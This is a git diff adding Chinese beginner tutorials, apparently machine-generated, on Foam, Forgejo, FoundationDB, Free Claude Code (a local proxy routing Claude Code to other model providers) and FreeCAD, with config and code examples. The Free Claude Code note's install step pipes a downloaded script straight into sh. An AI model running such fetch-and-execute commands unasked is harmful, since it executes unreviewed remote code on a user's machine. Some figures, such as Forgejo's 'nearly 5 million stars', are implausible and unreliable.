+  filepath: journals/$FOAM_DATE_YEAR/$FOAM_DATE_MONTH-$FOAM_DATE_DATE.md
+---
+
+# $FOAM_DATE_YEAR-$FOAM_DATE_MONTH-$FOAM_DATE_DATE
+
+## 今日焦点
+
+- [ ]
+
+## 日志
+
+- 
+
+## 链到近期
+
+- 昨天：用片段 `/yesterday` 插入 wikilink
+- 下周回顾：`/+1w`
+
+## 随机漫游
+
+<!-- 偶尔从 Foam: Open Random Note 捞一张旧 Zettel 补链 -->
+```
+
+### `.vscode/settings.json` 片段
+
+```json
+{
+  "foam.openDailyNote.onStartup": false,
+  "foam.links.sync.enable": true,
+  "foam.links.directory.mode": "withIndex",
+  "markdown.updateLinksOnFileMove.enabled": "always",
+  "[markdown]": {
+    "editor.wordWrap": "on",
+    "editor.quickSuggestions": {
+      "other": true,
+      "comments": false,
+      "strings": true
+    }
+  }
+}
+```
+
+**说明：**
+
+- `filepath` 中的 `$FOAM_DATE_*` 在创建 **相对日期** 笔记（如 `/tomorrow`）时会用 **目标日期** 填充，而非总是今天。
+- `foam.links.directory.mode` 控制 `[[文件夹名]]` 是否解析到 `index.md` / `README.md`。
+- 启动自动日记按个人习惯开启；很多人更偏好手动 `Alt+D`。
+
+---
+
+## 代码示例 3：为 GitHub Pages 生成链接引用（可选）
+
+发布前若希望 **纯 Markdown 渲染器** 也能点击 wikilink，可在笔记底部保留 Foam 生成的 reference 块（或通过命令批量生成）：
+
+```markdown
+# 项目索引
+
+本周工作流：[[daily-notes]] → [[graph-visualization]] → 输出到 [[publishing-github-pages]]。
+
+## 相关
+
+- [[foam-template]] 提供初始目录结构
+- [[wikilinks]] 语法见官方文档
+
+[//begin]: # "Autogenerated link references for markdown compatibility"
+[daily-notes]: ../features/daily-notes.md "Daily Notes"
+[graph-visualization]: ../features/graph-visualization.md "Graph Visualization"
+[publishing-github-pages]: ../publishing/github-pages.md "GitHub Pages"
+[foam-template]: https://github.com/foambubble/foam-template "foam-template"
+[wikilinks]: ../features/wikilinks.md "Wikilinks"
+[//end]: # "Autogenerated link references"
+```
+
+在 Foam 工作区内仍以 `[[...]]` 编辑；引用块让 GitHub / 静态站生成器获得可解析的 `[text](url)` 目标。
+
+---
+
+## 常用命令与快捷键
+
+| 操作 | 方式 |
+|------|------|
+| 打开今日日记 | `Alt+D` 或 **Foam: Open Daily Note** |
+| 新建笔记 | **Foam: Create New Note** / 从模板创建 |
+| 显示关系图 | **Foam: Show Graph** |
+| 随机漫游 | **Foam: Open Random Note** |
+| 跳转 wikilink | `Ctrl+Click` / `F12` |
+| 块内批量加链 | 选中词 → `Ctrl+Shift+L` 多选 → 包 `[[]]`（foam-template 文档技巧） |
+| 命令面板 | `Ctrl+Shift+P` / `Cmd+Shift+P` |
+
+---
+
+## 与 Roam / Obsidian / Logseq 怎么选
+
+| 维度 | Foam | Roam | Obsidian / Logseq |
+|------|------|------|-------------------|
+| 载体 | VS Code 扩展 | 独立 Web/App | 独立 App |
+| 数据 | 本地 `.md` + Git | 云端块模型 | 本地 `.md` 为主 |
+| 双向链接 | ✅ Wikilink + Backlinks | ✅ 块级引用 | ✅ |
+| 图谱 | ✅ | ✅ | ✅ |
+| 定制 | VS Code 扩展生态 | 插件有限 | 插件丰富 |
+| 适合谁 | 已在 VS Code 的开发者 | 深度 Roam 工作流用户 | 想要专用 PKM UI 的用户 |
+
+若你 **写代码和写笔记希望同一套编辑器、同一套 Git 习惯**，Foam 的边际成本最低；若重视 **块级大纲编辑、移动端同步、开箱 UI**，专用 PKM 可能更顺手——也可 Markdown 互通，避免锁死。
+
+---
+
+## 组织方法论（Foam 不强制）
+
+Foam 对 PARA、Zettelkasten、MOC（Map of Content）都中立。常见做法：
+
+- **Inbox / Daily**：日记里捕获，再提炼到永久笔记。
+- **Literature notes**：`book-author-year.md` 存读后摘要，连到 **permanent notes**。
+- **Index / MOC**：`index-topic.md` 只做链接 hub，不写长文。
+- **Projects**：文件夹 + `[[项目名]]` hub，与 PARA 的 Projects 对齐。
+
+关键是 **一笔记一意**（原子化）与 **链接优于文件夹分类**（文件夹仍可用于粗粒度归档）。
+
+---
+
+## 发布与协作
+
+笔记既可在私有仓库，也可：
+
+- 用 **GitHub Pages** 发布静态站（foam-template 含示例 workflow）。
+- 用 **Gatsby**、**Vercel** 等生成站点（官方 Recipes 有社区方案）。
+- 团队通过 **Pull Request** 协作改 wiki——这是「开发者友好 PKM」的差异化能力。
+
+---
+
+## 常见问题
+
+**Q：Foam 和「只装 Markdown All in One」有何区别？**  
+A：后者不提供 wikilink 图谱、backlinks、daily note 模板、placeholder 语义与 Foam 命令；Foam 是面向 **知识网络** 的一层，而非语法高亮。
+
+**Q：已有 Obsidian 库能迁吗？**  
+A：可以。Obsidian 的 `[[wikilink]]` 与 `.md` 文件 largely 兼容；需检查 **块 ID 语法**、**附件路径**、**YAML 插件字段** 差异，并在 VS Code 里重装推荐扩展。
+
+**Q：中文文件名与 wikilink 可以吗？**  
+A：可以。Foam 链到标题或文件名；注意跨平台文件名规范，复杂场景可用 `$FOAM_TITLE_SAFE` 模板。
+
+**Q：性能：几千篇笔记会卡吗？**  
+A：VS Code 打开超大工作区时，图谱与索引会变慢；可按年份分子目录、定期 Janitor 清理 orphan、用 CLI `lint` 扫描断链。
+
+---
+
+## 延伸资源
+
+- 官方 README：[github.com/foambubble/foam](https://github.com/foambubble/foam)
+- 文档：[foambubble.github.io/foam](https://foambubble.github.io/foam/) · [docs.foamnotes.com](https://docs.foamnotes.com)
+- 模板仓库：[github.com/foambubble/foam-template](https://github.com/foambubble/foam-template)
+- VS Code 市场：[Foam 扩展页](https://marketplace.visualstudio.com/items?itemName=foam.foam-vscode)
+- 社区：Discord（README 徽章链接）
+
+---
+
+## 小结
+
+Foam 把 **Roam-like 的网状笔记** 搬进 **VS Code + Git + Markdown** 的世界：Wikilink 负责连接，Backlinks 负责发现，Graph 负责鸟瞰，Daily Note 与模板负责节奏与复用。它不替你想清楚知识结构，但把「写下一句话并立刻挂到知识网上」的摩擦降到很低——对已经在编辑器里度过每一天的人来说，这往往比再学一款笔记 App 更自然。
diff --git a/src/content/docs/projects/forgejo-2026.md b/src/content/docs/projects/forgejo-2026.md
new file mode 100644
index 000000000..7f1896b13
--- /dev/null
+++ b/src/content/docs/projects/forgejo-2026.md
@@ -0,0 +1,181 @@
+---
+title: "Forgejo 从 Gitea 分支出来——一个代码托管平台的社区自救故事"
+来源: https://codeberg.org/forgejo/forgejo
+日期: 2026-06-13
+分类: 基础设施
+子分类: DevOps 与运维
+provenance: pipeline-v3
+---
+
+## 先讲一个日常类比
+
+想象你开了一家社区面包店，大家都来买你的面包，帮你改配方、修烤箱。有一天，你发现来了一个新老板，他把你赶出门店，说"现在这家店归我了"，但你和所有帮忙的邻居根本没被提前问过。
+
+你会怎么想？最合理的反应就是：我们这群真正干活的人，干脆自己另开一家面包店好了。
+
+Forgejo 的故事就是这样一个"另开一家"的故事。只不过这家"面包店"不是卖面包的，而是帮程序员托管代码的。
+
+## 它到底是什么
+
+Forgejo 是一个用 Go 语言写的、自托管的代码托管平台。简单说，它让你在**自己的服务器上**搭一个类似 GitHub 的东西——你拥有全部数据，不需要把代码放到别人的服务器上。
+
+它的代码仓库在 Codeberg（一个非营利代码托管平台）上：https://codeberg.org/forgejo/forgejo
+
+当前最新版本已经到了 v15.x，有将近 500 万个 star 级别的关注度，800 多个 fork。
+
+## 为什么会出现 Forgejo
+
+在 2022 年之前，Gitea 是一个完全由社区驱动的开源项目。程序员们自愿贡献代码、修 bug、加功能，没人收钱。
+
+但后来，Gitea 的维护权突然被一家新成立的公司 Gitea Ltd 接手了。社区的核心维护者发现，他们被排除在决策之外。他们尝试发公开信，没有回应。
+
+于是，2022 年 12 月 15 日，前 Gitea 维护者和开源爱好者们宣布成立了 Forgejo 项目。他们的目标很明确：
+
+1. 社区说了算——项目由社区治理，不为任何公司服务
+2. 帮助开发者从商业闭源工具中解放出来
+
+Codeberg e.V.（一个德国非营利组织）成为了 Forgejo 的托管方，确保这个项目永远保持自由开源。
+
+## 核心概念
+
+### 概念一：代码仓库（Repository）
+
+一个仓库就是你放代码的地方，类似 GitHub 上的 repo。每个仓库可以包含多个分支（branch），每个分支是代码的一个"平行版本"。
+
+### 概念二：拉取请求（Pull Request，简称 PR）
+
+当你改完代码想合并回去时，你先创建一个 PR，让大家审核你的改动。审核通过了，才合并到主分支。
+
+### 概念三：CI/CD（持续集成/持续部署）
+
+Forgejo 内置了 Actions 系统。你可以写配置文件，让它在每次提交代码后自动运行测试、打包程序等。
+
+### 概念四：ForgeFed（联邦化）
+
+这是 Forgejo 独有的远期目标——让不同 Forgejo 实例之间能互相通信，类似 Matrix 或 ActivityPub 的生态。
+
+## 代码示例
+
+### 示例一：用 Docker Compose 搭建一个 Forgejo 实例
+
+这和 Gitea 几乎一样，因为它们是兼容的。创建一个 `docker-compose.yml`：
+
+```yaml
+services:
+  server:
+    image: codeberg.org/forgejo/forgejo:15
+    container_name: forgejo
+    environment:
+      - USER_UID=1000
+      - USER_GID=1000
+    restart: always
+    volumes:
+      - ./forgejo-data:/data
+      - /etc/timezone:/etc/timezone:ro
+      - /etc/localtime:/etc/localtime:ro
+    ports:
+      - "3000:3000"
+      - "222:22"
+```
+
+解释：
+
+- `image`: 使用 Forgejo 的官方镜像，`codeberg.org/forgejo/forgejo`
+- `volumes`: `./forgejo-data:/data` 把容器内的数据目录挂载到本地，这样重启不丢数据
+- `ports`: `3000:3000` 把容器的 3000 端口映射到主机，`222:22` 是 SSH 端口
+- `USER_UID` 和 `USER_GID`: 确保容器内用户和主机文件权限一致
+
+启动命令：
+
+```bash
+docker compose up -d
+```
+
+然后在浏览器打开 `http://localhost:3000` 就进入了安装向导。
+
+### 示例二：配置 CI/CD 工作流（.forgejo/workflows/ci.yml）
+
+Forgejo 的 Actions 系统基于 YAML 配置文件，放在 `.forgejo/workflows/` 目录下：
+
+```yaml
+name: CI
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    branches: [main]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Set up Go
+        uses: actions/setup-go@v5
+        with:
+          go-version: '1.24'
+
+      - name: Run tests
+        run: go test -v ./...
+
+      - name: Build
+        run: go build -o myapp ./cmd/...
+```
+
+解释：
+
+- `on`: 定义触发条件——每次推送到 main 分支或创建 PR 时自动运行
+- `runs-on`: 在哪个环境跑测试，这里用了 GitHub 提供的 Ubuntu 虚拟机
+- `steps`: 按顺序执行的步骤列表
+- `uses`: 调用别人写好的 Action（类似积木一样拼起来）
+
+### 示例三：自定义配置文件 app.ini
+
+Forgejo 的配置文件在 `/data/forgejo/conf/app.ini`，关键部分：
+
+```ini
+[server]
+APP_DATA_PATH    = /data/forgejo
+HTTP_PORT        = 3000
+ROOT_URL           = http://localhost:3000
+DISABLE_SSH      = false
+SSH_PORT         = 22
+OFFLINE_MODE     = false
+
+[database]
+TYPE             = mysql
+HOST             = db:3306
+NAME             = forgejo
+USER             = forgejo
+PASSWD           = forgejo
+```
+
+解释：
+
+- `[database]` 段可以选择 SQLite、MySQL 或 PostgreSQL
+- 如果不想用外部数据库，可以改成：`TYPE = sqlite3`，就不需要单独的数据库服务了
+
+## 从 Gitea 迁移到 Forgejo
+
+好消息：因为它们共享同一个代码基因，迁移非常容易。Forgejo 官方提供了升级指南：
+
+1. 备份你的 Gitea 数据目录
+2. 把 Docker 镜像从 `gitea/gitea` 换成 `codeberg.org/forgejo/forgejo`
+3. 重启——数据库会自动升级
+
+数据库结构是完全兼容的。
+
+## 版本与许可
+
+- v8.0 及更早版本：MIT 许可
+- v9.0 及之后：GPL v3+ 许可
+
+选择 GPL v3 是为了防止类似 Gitea 的"被公司拿走"事件重演——GPL 要求任何基于此代码的衍生作品也必须开源。
+
+## 一句话总结
+
+Forgejo 是一群被"踢出门店"的面包师自己开的新店——用自由开源的方式，确保代码托管工具永远由社区掌控。
diff --git a/src/content/docs/projects/foundationdb.md b/src/content/docs/projects/foundationdb.md
new file mode 100644
index 000000000..adf254719
--- /dev/null
+++ b/src/content/docs/projects/foundationdb.md
@@ -0,0 +1,197 @@
+---
+title: FoundationDB — Apple 分布式 KV 数据库零基础笔记
+来源: https://github.com/apple/foundationdb
+日期: 2026-06-13
+分类: 分布式系统
+子分类: databases-storage
+provenance: pipeline-v3
+---
+
+# FoundationDB — Apple 分布式 KV 数据库零基础笔记
+
+## 一、什么是 FoundationDB？
+
+FoundationDB（简称 FDB）是 Apple 开源的一个**分布式事务型键值存储数据库**。2015 年被 Apple 收购后开源，目前 GitHub 上已有 16.4k Star。
+
+它的核心定位：在一个多台服务器组成的集群上，高效地存储和管理海量的结构化数据，同时对每一笔读写操作都提供 ACID 事务保证。
+
+## 二、日常类比：一个超级智能的图书馆
+
+想象一个巨大的图书馆系统：
+
+- **传统数据库** = 一个图书馆管理员。所有书（数据）都放在一个地方，你要查什么、改什么都得找他。管理员忙不过来时，整个馆就慢了。
+- **NoSQL（如 Redis）** = 把书分散到很多个小柜子，但没有统一的管理员。你想同时改两本书，可能会发生冲突——两个人同时改同一页，谁先谁后说不清。
+- **FoundationDB** = 一个由多位管理员组成的高效团队。书按顺序排好放在无数个小格子里，每位管理员负责一部分格子。无论你同时发起多少查询，他们能协调好各自的工作，确保每次修改都是准确的（ACID），而且速度极快。
+
+关键区别：FDB 既像 NoSQL 一样可以水平扩展（加机器就行），又像传统关系型数据库一样提供完整的事务能力。
+
+## 三、核心概念
+
+### 1. 有序键值存储（Ordered Key-Value Store）
+
+FDB 最底层的数据模型非常简单：就是一个**有序的字典**。每个条目由一个 key 和一个 value 组成，key 和 value 都是字节字符串（byte string）。
+
+最重要的特性：**key 是按字典序排列的**。这意味着：
+
+- `'apple'` 排在 `'banana'` 前面
+- `'user:100'` 排在 `'user:200'` 前面
+- 你可以用"范围读取"一次性获取某个区间的所有数据
+
+这就像电话簿——名字是按字母排的，所以找"张"姓的人，你只要翻到 Z 的部分就行了，不用整本翻。
+
+### 2. ACID 事务
+
+FDB 对所有操作都提供 ACID 事务保证：
+
+- **原子性（Atomicity）**：一个事务里的所有操作要么全部成功，要么全部失败，不会只完成一半
+- **一致性（Consistency）**：事务执行前后，数据库都处于一致状态
+- **隔离性（Isolation）**：并发执行的事务互不干扰，效果等同于串行执行
+- **持久性（Durability）**：一旦事务提交，数据就不会丢失
+
+### 3. 乐观并发控制（Optimistic Concurrency Control）
+
+FDB 不使用传统的"锁"机制来保证隔离性。相反，它采用了一种叫"乐观并发控制"的方法：
+
+- 事务在执行过程中**不加锁**，直接读写数据
+- 到提交时，FDB 检查是否有其他事务同时修改了相同的数据
+- 如果有冲突，当前事务会被回滚，客户端可以重试
+
+这种方式在高并发场景下性能远超传统锁机制。
+
+### 4. Tuple 与 Subspace
+
+因为 FDB 的 key 只是字节串，直接拼接字符串做 key 容易出错。FDB 提供了 **Tuple 层**来解决这个问题：
+
+- **Tuple**：可以把多个字段（字符串、整数、浮点数等）打包成一个有序的键
+- **Subspace**：给一组 key 加上前缀命名空间，类似 SQL 中的"表空间"
+
+例如，用 `('user', user_id)` 作为 key 的前缀，所有用户数据就会按 user_id 排序存储在一起。
+
+### 5. 分层架构（Layer Concept）
+
+FDB 的核心 API 只是一个简单的 KV 存储。更高级的功能（如表、索引、文档）通过 **Layer** 实现——Layer 是无状态的，运行在应用端，利用底层 KV API 构建出更丰富的数据模型。
+
+这种设计让 FDB 非常灵活：你可以在同一个 FDB 集群上同时运行多种不同的数据模型。
+
+## 四、代码示例
+
+### 示例 1：Python — 基本读写与事务
+
+下面演示如何用 Python 绑定连接 FDB，在一个事务中完成读写操作：
+
+```python
+import fdb
+
+# 连接到本地 FDB 集群
+fdb.api_version(710)
+db = fdb.open('my_cluster.file')
+
+# 定义一个 subspace（类似表的命名空间）
+user_space = fdb.Subspace(('users',))
+
+# 在事务中写入用户数据
+def add_user(user_id, name, email):
+    def transaction(tr):
+        # 使用 subspace + tuple 构造 key
+        tr[user_space.pack((user_id,))] = fdb.tuple.pack((name, email))
+    db.transaction(transaction)
+
+# 在事务中读取用户数据
+def get_user(user_id):
+    def transaction(tr):
+        result = tr[user_space.pack((user_id,))].get()
+        if result:
+            return fdb.tuple.unpack(result)
+        return None
+    return db.read_transaction(transaction)
+
+# 在事务中进行范围读取（读取所有用户）
+def get_all_users():
+    def transaction(tr):
+        results = []
+        for key, value in tr[user_space.range()]:
+            user_id = user_space.unpack(key)[0]
+            name, email = fdb.tuple.unpack(value)
+            results.append({'id': user_id, 'name': name, 'email': email})
+        return results
+    return db.read_transaction(transaction)
+
+# 使用 @transactional 装饰器简化写法
+@fdb.transactional
+def update_email(tr, user_id, new_email):
+    name, _ = fdb.tuple.unpack(tr[user_space.pack((user_id,))].get())
+    tr[user_space.pack((user_id,))] = fdb.tuple.pack((name, new_email))
+
+# 调用
+add_user('u001', '张三', 'zhangsan@example.com')
+print(get_user('u001'))  # ['张三', 'zhangsan@example.com']
+update_email('u001', 'zhangsan_new@example.com')
+```
+
+### 示例 2：Python — 用 Tuple 建模"用户-班级"多对多关系
+
+FDB 没有原生的 JOIN 操作，但可以通过 Tuple 和范围读取来建模多对多关系：
+
+```python
+import fdb
+
+fdb.api_version(710)
+db = fdb.open('my_cluster.file')
+
+# 两个 subspace：用户数据和选课关系
+user_space = fdb.Subspace(('users',))
+enroll_space = fdb.Subspace(('enrollments',))
+
+@fdb.transactional
+def enroll_student(tr, student_id, class_name):
+    """为学生选修一门课（多对多关系）"""
+    # 确保用户存在
+    if not tr[user_space.pack((student_id,))].get():
+        raise ValueError(f"User {student_id} does not exist")
+    # 选课记录：key 包含学生 ID 和课程名，value 为空
+    tr[enroll_space.pack((student_id, class_name))] = ''
+
+@fdb.transactional
+def get_student_classes(tr, student_id):
+    """获取某学生的所有选课（利用范围读取）"""
+    classes = []
+    # range((student_id,)) 会匹配所有以 (student_id,) 为前缀的 key
+    for key, _ in tr[enroll_space.range((student_id,))]:
+        _, class_name = enroll_space.unpack(key)
+        classes.append(class_name)
+    return classes
+
+@fdb.transactional
+def get_class_students(tr, class_name):
+    """获取某课程的所有学生（反向查询）"""
+    students = []
+    # 注意：这里需要遍历所有 enrollments 并按课程名过滤
+    # 实际项目中通常会建一个反向索引 subspace 来优化
+    for key, _ in tr[enroll_space.range()]:
+        student_id, cn = enroll_space.unpack(key)
+        if cn == class_name:
+            students.append(student_id)
+    return students
+
+# 调用示例
+# enroll_student('u001', '数学')
+# enroll_student('u001', '物理')
+# enroll_student('u002', '数学')
+# print(get_student_classes('u001'))  # ['数学', '物理']
+# print(get_class_students('数学'))    # ['u001', 'u002']
+```
+
+## 五、为什么值得学习？
+
+1. **Apple 的生产级基础设施**：FDB 支撑了 iCloud、Apple Music、Siri 等核心服务，经过大规模生产验证
+2. **独特的设计理念**：乐观并发控制 + 有序 KV + 分层架构，不同于传统的锁机制数据库
+3. **多语言绑定**：支持 Python、Java、Go、C++、Ruby 等主流语言
+4. **学习分布式系统的绝佳材料**：理解 FDB 有助于深入掌握分布式事务、一致性、容错等核心概念
+5. **开源且活跃**：Apache 2.0 协议，社区持续维护，最新版本 7.3.x
+
+## 六、延伸阅读方向
+
+- [FDB 官方文档](https://apple.github.io/foundationdb/) — 架构、API、数据建模指南
+- [Design Recipes](https://apple.github.io/foundationdb/design-recipes.html) — 用 KV 建模表、队列、索引等高级数据结构
+- [Transaction Manifesto](https://apple.github.io/foundationdb/transaction-manifesto.html) — 为什么 FDB 坚持全量 ACID 事务而非最终一致性
+- [Flow 编程语言](https://apple.github.io/foundationdb/flow.html) — FDB 内部使用的协程扩展，用于处理高并发 I/O
diff --git a/src/content/docs/projects/free-claude-code.md b/src/content/docs/projects/free-claude-code.md
new file mode 100644
index 000000000..5517d2138
--- /dev/null
+++ b/src/content/docs/projects/free-claude-code.md
@@ -0,0 +1,225 @@
+---
+title: "Free Claude Code —— 用代理让 Claude Code 接入免费模型"
+来源: https://github.com/Alishahryar1/free-claude-code
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 一、这是什么？
+
+Free Claude Code 是一个**本地代理（proxy）程序**。它架在"Claude Code 客户端"和"模型供应商"之间，把 Claude Code 发出的 API 请求接住，转交给其他免费或廉价的模型服务。
+
+### 日常类比：快递中转站
+
+想象你每天都给一个固定地址（Anthropic 官方 API）寄快递（API 请求），需要付很贵的运费（API 费用）。Free Claude Code 在你家门口建了个中转站：
+
+```
+你 → 中转站（免费） → 其他快递点（免费或便宜）
+```
+
+中转站会做三件事：
+
+1. **接住**你寄出的包裹，保持包装不变（Claude Code 的协议不变）
+2. **转发**到另一个更便宜的快递点（OpenRouter、Ollama、Google Gemini 等）
+3. **翻译**对方回传的包裹格式，让你看不出来有任何变化（协议转换）
+
+这就是所谓的 "drop-in proxy" —— 插上去就能用，不用改你原来的任何设置。
+
+### 项目基本信息
+
+| 项目 | 说明 |
+|------|------|
+| GitHub | Alishahryar1/free-claude-code |
+| 语言 | Python |
+| 协议 | MIT |
+| Stars | 34,000+ |
+| 核心功能 | 17 种模型供应商后端，支持 Claude Code / VS Code / JetBrains |
+
+---
+
+## 二、核心概念
+
+### 1. 代理（Proxy）
+
+Proxy 就像"中间人"。Claude Code 以为自己在直接和 Anthropic 对话，但实际上请求全部经过了一个本地服务（localhost:8082）。这个服务负责把请求原样转发给真正的模型供应商。
+
+```
+Claude Code ──→ 本地代理 (localhost:8082) ──→ OpenRouter / Ollama / Gemini ...
+```
+
+Claude Code 不会察觉到区别，因为它用的 Anthropic API 格式被代理统一转换了。
+
+### 2. 模型路由（Model Routing）
+
+Claude Code 会根据功能需要请求不同的模型（Opus、Sonnet、Haiku）。代理可以做**分级路由**：
+
+- 请求 Opus → 转发到供应商 A（质量最好的）
+- 请求 Sonnet → 转发到供应商 B（性价比最高）
+- 请求 Haiku → 转发到供应商 C（最便宜的）
+- 其他请求 → 转发到默认供应商
+
+### 3. Claude Code 的三个启动方式
+
+| 方式 | 入口 | 说明 |
+|------|------|------|
+| 终端 CLI | `fcc-claude` | 在终端里运行 Claude Code |
+| VS Code 扩展 | 设置环境变量 | 在 VS Code 里使用 Claude Code |
+| JetBrains ACP | 编辑配置文件 | 在 JetBrains IDE 里使用 |
+
+三者原理一样：**把 `ANTHROPIC_BASE_URL` 指向 `http://localhost:8082`**，Claude Code 就会去本地代理找模型。
+
+---
+
+## 三、动手示例
+
+### 示例 1：一键安装 + 启动代理
+
+最省事的安装方式是用官方安装脚本。安装完后，只需一个命令启动代理：
+
+```bash
+# 安装代理
+curl -fsSL "https://github.com/Alishahryar1/free-claude-code/blob/main/scripts/install.sh?raw=1" | sh
+
+# 启动代理，默认监听 8082 端口
+fcc-server
+```
+
+启动后终端会显示：
+
+```
+INFO:     Admin UI: http://127.0.0.1:8082/admin (local-only)
+```
+
+打开这个 admin 页面，填入你选定的模型供应商的 API Key（比如 OpenRouter 或 Ollama 的地址），设置好 `MODEL`，点 Validate + Apply 就完成了配置。
+
+**关键概念**：`MODEL` 是"默认 fallback 模型"。如果你有 `MODEL_OPUS`、`MODEL_SONNET`、`MODEL_HAIKU` 三个变量，代理就会根据 Claude Code 请求的模型类型自动路由到不同的供应商。
+
+### 示例 2：运行 Claude Code
+
+代理启动并配置好后，用一个专用命令来启动 Claude Code：
+
+```bash
+fcc-claude
+```
+
+这个命令做了什么？它读取出你刚才在 Admin UI 里配置好的端口和 token，设置好三个环境变量：
+
+```bash
+export ANTHROPIC_BASE_URL=http://localhost:8082
+export ANTHROPIC_AUTH_TOKEN=freecc
+export CLAUDE_CODE_AUTO_COMPACT_WINDOW=190000
+```
+
+然后启动真正的 `claude` 命令。从 Claude Code 的角度看，它只是在连 `localhost:8082`——完全不知道背后是 Ollama 还是 Gemini。
+
+### 示例 3：在 VS Code 里使用（不用终端）
+
+如果你想在 VS Code 的 Claude Code 扩展里用，需要改设置：
+
+1. 打开 VS Code 设置
+2. 搜索 `claude-code.environmentVariables`
+3. 选择 "Edit in settings.json"
+4. 加入这些内容：
+
+```json
+{
+  "claudeCode.environmentVariables": [
+    { "name": "ANTHROPIC_BASE_URL", "value": "http://localhost:8082" },
+    { "name": "ANTHROPIC_AUTH_TOKEN", "value": "freecc" },
+    { "name": "CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY", "value": "1" },
+    { "name": "CLAUDE_CODE_AUTO_COMPACT_WINDOW", "value": "190000" }
+  ]
+}
+```
+
+改完 reload 扩展就行。`ANTHROPIC_BASE_URL` 指向本地代理，`ANTHROPIC_AUTH_TOKEN` 是代理认的 token（默认 `freecc`）。
+
+---
+
+## 四、架构理解
+
+请求的完整路径：
+
+```
+你输入问题
+  → Claude Code 客户端（终端或 VS Code）
+    → 发送 Anthropic API 请求到 localhost:8082
+      → 代理根据模型名决定路由策略
+        → 转发到供应商 A（如 OpenRouter）
+          → 供应商返回结果
+            → 代理转换格式，返回给 Claude Code
+              → 你看到回答
+```
+
+代理内部做了很多"翻译"工作：
+
+- **Thinking blocks**（思考过程）：不同供应商返回的思考块格式不同，代理统一转成 Claude Code 能识别的样子
+- **Tool calls**（工具调用）：Claude Code 的 tool-use 协议需要被正确映射
+- **Token 计数**：供应商返回的 token 用量会被聚合展示
+- **错误处理**：供应商的 HTTP 错误会被转换成 Claude Code 能理解的格式
+
+还有"优化层"：Claude Code 启动时会发一些探测请求（比如 "你叫什么名字"），代理会直接本地回答，不浪费供应商的 quota。
+
+---
+
+## 五、支持的 17 种模型供应商
+
+| 供应商 | 类型 | 免费额度 |
+|--------|------|----------|
+| NVIDIA NIM | 云 API | 有 |
+| OpenRouter | 聚合器 | 有免费模型 |
+| Google AI Studio (Gemini) | 云 API | 有 |
+| DeepSeek | 云 API | 有 |
+| Mistral | 云 API | 有 |
+| Mistral Codestral | 云 API | 有 |
+| OpenCode Zen | 云 API | 有免费模型 |
+| OpenCode Go | 云 API | 有 |
+| Wafer | 云 API | 有 |
+| Kimi (月之暗面) | 云 API | 有 |
+| Cerebras | 云 API | 有 |
+| Groq | 云 API | 有 |
+| Fireworks AI | 云 API | 有 |
+| Z.ai | 云 API | 有 |
+| LM Studio | 本地运行 | 完全免费 |
+| llama.cpp | 本地运行 | 完全免费 |
+| Ollama | 本地运行 | 完全免费 |
+
+LM Studio、llama.cpp、Ollama 这三种是**本地运行**的，不需要联网，完全免费——只需要你的电脑够强。
+
+---
+
+## 六、扩展功能
+
+### 1. Discord / Telegram 机器人
+
+可以搭建远程机器人，让你在 Discord 或 Telegram 里通过聊天和 Claude Code 交互。机器人能执行代码、回答问题，支持 `/stop`、`/clear`、`/stats` 等命令。
+
+### 2. 语音笔记
+
+集成 Whisper 或 NVIDIA NIM，可以把语音消息转成文字发给 Claude Code。
+
+### 3. 本地 Admin UI
+
+运行 `fcc-server` 后，打开 `http://localhost:8082/admin` 就是一个图形化界面：
+
+- 配置 API Key
+- 设置默认模型
+- 查看供应商状态
+- 管理消息机器人
+
+---
+
+## 七、总结
+
+Free Claude Code 的核心价值可以用一句话概括：**让 Claude Code 不再绑定 Anthropic 官方 API**。
+
+它做的事情其实不复杂——就是 HTTP 请求的"中转 + 翻译"。但好处很大：
+
+1. **省钱**：可以用免费模型或本地模型
+2. **灵活**：17 种供应商随你选，Opus/Sonnet/Haiku 分别路由
+3. **离线可用**：Ollama + LM Studio 完全本地运行
+4. **不锁死**：Claude Code 本身不变，只是换了个"后端"
+
+对学习者的建议：先跑通 `fcc-server` + `fcc-claude` 这个最简单的组合，再逐步探索模型路由和扩展功能。
diff --git a/src/content/docs/projects/freecad.md b/src/content/docs/projects/freecad.md
new file mode 100644
index 000000000..672d8a7a8
--- /dev/null
+++ b/src/content/docs/projects/freecad.md
@@ -0,0 +1,247 @@
+---
+title: FreeCAD — 参数化 CAD
+来源: https://github.com/FreeCAD/FreeCAD
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**FreeCAD** 是一款**免费开源**的全功能参数化 3D CAD 软件，源码托管于 [FreeCAD/FreeCAD](https://github.com/FreeCAD/FreeCAD)。它面向机械设计、3D 打印零件、建筑 BIM 草模、有限元分析前处理等场景，用**特征树 + 草图约束**描述零件如何生成——改一个尺寸，整棵历史树自动重算，而不是像网格雕刻那样「改了就回不去」。
+
+日常类比：如果把 [[openscad]] 比作**写菜谱**（纯文本、CSG 布尔运算），把 [[blender]] 比作**电影制片厂**（动画、渲染、有机造型），FreeCAD 更像**正规机械制图室里的活页夹**：
+
+- 每一页草图（**Sketch**）是带尺寸约束的 2D 工程图；
+- 每一页特征（**Pad** 拉伸、**Pocket** 挖槽）是在前一页实体上「加盖」或「开孔」；
+- 整本活页夹装进一个文件夹（**Body**），最后导出 STL 给切片软件，或出工程图给车间。
+
+再打个比方：传统无参数 CAD 像**用橡皮泥捏零件**——捏坏了只能重来。参数化 CAD 像**乐高说明书**：「底板 40×20，立柱高 30，孔距 15」——改说明书上的数字，成品自动变，但**不能**随便抽掉中间某块而不考虑后面步骤（这就是特征树顺序的意义）。
+
+最小 Python 示例（在 **View → Panels → Python console** 或宏里运行）：
+
+```python
+import FreeCAD as App
+import Part
+
+doc = App.newDocument("Hello")
+box = doc.addObject("Part::Box", "Box")
+box.Length = 20
+box.Width = 10
+box.Height = 5
+doc.recompute()
+```
+
+三行属性赋值 = 一个 20×10×5 mm 的实体出现在 3D 视图。GUI 里 Part 工作台创建的立方体，底层就是这类 `Part::` 对象。
+
+## 为什么重要
+
+零基础学「能加工、能打印、能画工程图」的 3D，FreeCAD 有几个现实理由：
+
